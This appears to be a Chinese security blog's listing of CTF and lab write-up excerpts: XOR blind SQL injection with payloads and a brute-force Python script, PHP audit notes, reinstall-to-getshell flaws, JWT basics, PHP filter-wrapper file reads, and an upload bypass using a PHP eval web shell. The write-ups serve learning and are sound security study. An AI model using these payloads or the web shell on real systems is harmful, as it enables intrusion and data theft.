说在前面

文章已投稿至先知社区,具体内容:从CTF题中学习几种有趣(奇怪)的SQL注入

1.异或注入

题目地址:http://119.23.73.3:5004/

在一个师傅的博客中看到这题的Writeup,尝试按照他的payload进行复现,怎么都复现不出来。后来在安全客上看到另一篇异或注入的文章,才把这个题解决了。

初步测试之后会发现,题目过滤了空格,+,*,or,substr…等一些字符。而且#号注释也不起作用。

于是尝试异或注入。

http://119.23.73.3:5004/?id=1'^'1    返回错误
http://119.23.73.3:5004/?id=1'^'0    返回正常

在MYSQL命令中:

01_mysql.jpg

可见,当/?id=1’^’1时,传递到数据库当中,是id=0,由于为0的id不存在,所以这里返回错误。第二个同理。

这里属于布尔盲注,于是构造payload,用脚本跑:

检索数据库:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))=104))^'1'='1

检索出来的库为:information_schema,moctf,mysql,performance_schema

检索表:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema='moctf')),1,1))=104))^'1'='1

检索出来的表:do_y0u_l1ke_long_t4ble_name,news

检索字段:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name='do_y0u_l1ke_long_t4ble_name')),1,1))=104))^'1'='1

检索出来的字段:d0_you_als0_l1ke_very_long_column_name

读Flag:

id=2'^!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(d0_you_als0_l1ke_very_long_column_name))FROM(moctf.do_y0u_l1ke_long_t4ble_name)),1,1))=104))^'1'='1

moctfb1ind_SQL_1njecti0n_g0od

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

#文字转ascii ord()
#ascii转文字 ascii()

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,"
url = "http://119.23.73.3:5004/?id=2'^"
keyword = "Tip"
string = ""

for i in range(1, 300):
for j in dic:
payload = "!(SELECT(ASCII(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{0},1))={1}))^'1'='1".format(str(i),ord(j))
url_get = url + payload
print(url_get)
content = requests.get(url_get)
if keyword in content.text:
string += j
print(string)
break
print("result = " + string)

跑出来的Flag:

01_getflag.jpg

Weiterlesen »

说在前面

腾讯10元学生机 购买
也可以使用阿里云的学生机,都很便宜。

这里我选择了Ubuntu系统。

安装Docker + Docker-compose

  • 安装Docker:

可以参考这个:Ubuntu Docker 安装

安装最新的docker
wget -qO- https://get.docker.com/ | sh

安装完会有一个提示,按照提示去执行
sudo usermod -aG docker ubuntu

命令执行完成之后,执行 docker verison 来查看是否安装完成。

anzhuangdocker.jpg

  • 安装Docker-compose:

参考:https://github.com/docker/compose/releases

因为我的腾讯云不是root权限,在执行命令前要加sudo

sudo curl -L https://github.com/docker/compose/releases/download/1.25.0-rc1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

同样的,命令执行完成之后,执行 docker-compose verison 来查看是否安装完成。

anzhuangdockercompose.jpg

Weiterlesen »

说在前面

本来只想复现一下sql注入的几篇文章,但在先知上找到了几篇非常好的入门审计的文章。于是打算按照他的审计思路,熟悉一下PHP代码审计流程,同时整理一下SQL注入的审计方法。

文章地址:https://xz.aliyun.com/t/3532

过程一 了解网站的基本架构

文章是拿PbootCMS1.2.1来做演示。 安装好系统,配置好数据库信息,阅读一下网站开发手册。

在审计之前,可以先做以下事情:

1. 了解网站目录结构
使用 tree > tree.txt 来生成文件树。快速了解系统。

2. 确定路由走向
一般是mvc的路由,这个cms还包含自定义路由。

过程二 了解系统参数与底层过滤情况

1.    了解系统参数过滤的情况
    a)原生GET,POST,REUQEST最简单的方法就是找一个系统中外部可访问的方法,使用
    var_dump($_GET);
    var_dump($_POST);
    var_dump($_REQUEST);
    来查看过滤情况

    文章使用了一个留言新增点,添加了上方语句之后。
    访问:/index.php/Message/add?test='";!-=$%^{()}<>
    用此来检测原始数据的过滤情况

    b)系统外部变量获取函数 get(),post(),request()
    可以直接使用seay搜索"get("来寻找到get数据处理的函数。

2.    了解数据库底层运行方式
    了解数据库增删查改的函数,查看是否有过滤。
    seay搜索:insert( 等。
Weiterlesen »

说在前面

第一次打强网杯,没想到这么难,萌新瑟瑟发抖。BY Threezh1

题目有点绕,看了半天都没找到重点。后面还是靠学长给的payload思路理清楚了过程。这里就记录一下,学习学习。

题目分析

网站基本功能:

注册登录后,可以上传一张图片作为头像。

无论上传什么格式的文件,文件名都会修改为md5值.png

分析:

使用dirsearch等工具可以直接扫到网站源码地址:

http://49.4.6.176:32288/www.tar.gz

框架为TP5,直接看application/web/controller目录。包括了以下几个模块,分别对应了网站的几个功能。由于Login.php里没有对解题有用的信息,我们就只看其他三个页面。

Index.php         //账户首页
Login.php         //登陆
Profile.php     //上传
Register.php     //注册
Weiterlesen »

重装漏洞

根据大佬们的总结,重装漏洞可以以下几种类型:

  1. 自动删除这个安装文件

    通过生成一个lock文件来判断程序是否安装过

  2. 根本无验证

    安装完成后不会自动删除文件,又不会生成lock判断是否安装过

  3. 安装file

    直接用GET提交step绕过,直接进入下一步

  4. 变量覆盖导致重装

    可以GET,POST,COOKIE 任意提交一个变量名$insLockfile,给其赋空值,覆盖掉$insLockfile,从而让file_exists为false就不会退出

  5. 判断lock后,无exit

    判断是否存在lock文件,如果存在lock文件,就会header到index.php,但是header后并没有exit,所以 并不会退出,类似的还有javascript弹个框

  6. 解析漏洞

    在安装完成后会将install.php 重命名为index.php.bak,但是由于Apache的解析漏洞:如果无法识别到最后一个后缀的话,就会向上解析,那么就又变成了php了,然后结合安装时的变量覆盖又成重装了。

  7. 满足一些条件不会退出的

这次复现的两个漏洞,都属于第五类。当页面跳转到主页之后,原来的php进程依然存在,导致可以重装,而当配置信息没有经过过滤而被直接写入了文件当中,就可能会导致getshell。寻找此类漏洞应该尝试去跟踪配置信息的最终去处,并检查是否有过滤。通过构造闭合语句利用漏洞。

Weiterlesen »

说在前面

这一段时间遇到两次JWT的CTF题,本想好好整理一下,结果搜到一篇文章把我想整理的全写出来了。

文章地址:https://www.anquanke.com/post/id/145540

所以这里就只作为一个备忘录,简单总结一下。

JWT (JSON Web Token)

最常用的网址:https://jwt.io/

JWT由三部分组成:Header(头部), Payload(负载), Signature(签名)

格式为:
Header.Payload.Signature

例如:(HS256)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

或 (RS256)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.POstGetfAytaZS82wHcjoTyoqhMyxXiWdR7Nn7A29DNSl0EiXLdwJ6xC6AfgZWF1bOsS_TuYI3OG85AmiExREkrS6tDfTQ2B3WXlrr-wp5AokiRbz3_oB4OxG-W9KcEEbDRcZc0nH3L7LzYptiy1PtAylQGxHTWZXtGz4ht0bAecBgmpdgXMguEIcoqPJ1n3pIWk_dUZegpqx0Lka21H6XxUTxiy8OcaarA8zdnPUnV6AmNP3ecFawIFYdvJB_cm-GvpCSbr8G8y_Mllj8f4x9nBH8pQux89_6gUY618iYv7tuPWBFfEbLxtF2pZS6YC1aSfLQxeNe8djT9YjpvRZA

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

alg属性表示签名的算法 (默认是 HMAC SHA256 即HS256)
typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

Payload:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

除了官方字段,还可以添加自定义字段。如这里的admin字段就是自定义字段。

Signature:

Signature 部分是对前两部分的签名,防止数据篡改。

服务器使用一个指定的密钥,按照下面的签名算法(默认为HS256)产生签名
(RS256有一个公钥和一个私钥)

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  PUBLIC KEY, PRIVATE KEY)

然后将这三个部分分别base64编码后用“.”连接生成JSON Web Token

话说文章里面的名字取的还蛮不错的。

Weiterlesen »

说在前面

这次和队友一起去川师打了一次线下的CTF。虽然比赛中很多题都没做出来,但学到很多东西。赛后出题师傅也给出了源码和Writeup,抓住机会总结学习。

重新搭建题目的环境有点困难,所以还是有两题无法进行复现。

Web

418

打开网页后是一个418的错误页面。

pic

Google了一下418错误

“ERR!418 我是茶壶”起源
“错误 418 我是茶壶”消息不是标准的服务器错误类型,这是 1998 年的一个愚人节恶作剧,距今已有 20 年了。许多开发团队在他们的应用程序中实施了“错误 418 我是茶壶”的消息作为内部笑话,通常使用这个错误来处理未知来源的错误。

又在cookie处发现了一个base64加密的值: 解密后为:coffee

pic

用Brupsuite抓包后修改了cookie的值,网页提示:

Tell me what you want ! 

于是我修改为flag的加密值,没用。在修改很多次之后队友解出来了。竟然是tea的base64。

修改cookie后访问得到flag,这题,真的有点考脑洞。

pic

Weiterlesen »

Web - Justsoso

使用php伪协议读到hint和index的源码:

/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php

  • index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];

if (!isset($file)) {
echo 'Missing parameter' . '<br>';
}

if (preg_match("/flag/", $file)) {
die('hack attacked!!!');
}

@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
} else {
echo "Missing parameters";
}
?>
Weiterlesen »

这次DDCTF真的是学到很多东西,希望后面可以多多参加比赛锻炼自己。

Web - 滴~

地址:http://117.51.150.246/

BASE64解码两次jpg参数的值:666C61672E6A7067

再经过一次16进制转字符串:flag.jpg

可知页面读取文件的名称是先经过两次BASE64解码再经过一次进制转换得到的。

尝试读取index.php:

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

页面返回得到data协议里的经过BASE64处理后的数据,解码后得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>
Weiterlesen »

[TOC]

基础知识

靶机包含漏洞类型分类

漏洞类型

如何判断上传漏洞类型

判断上传漏洞类型

Upload

Pass-01

尝试上传了一个PHP,反应很快弹出格式要求窗口。再根据网页源码判断,应该是使用了JS判断。

  1. 用Brupsuite抓包
  2. 然后将filename修改为“shell.php”
  3. 在文件内容里添加<?php eval($_POST[three])?>
  4. 上传之后用菜刀连接

这个除了js之外都没有什么检查。

Weiterlesen »

0%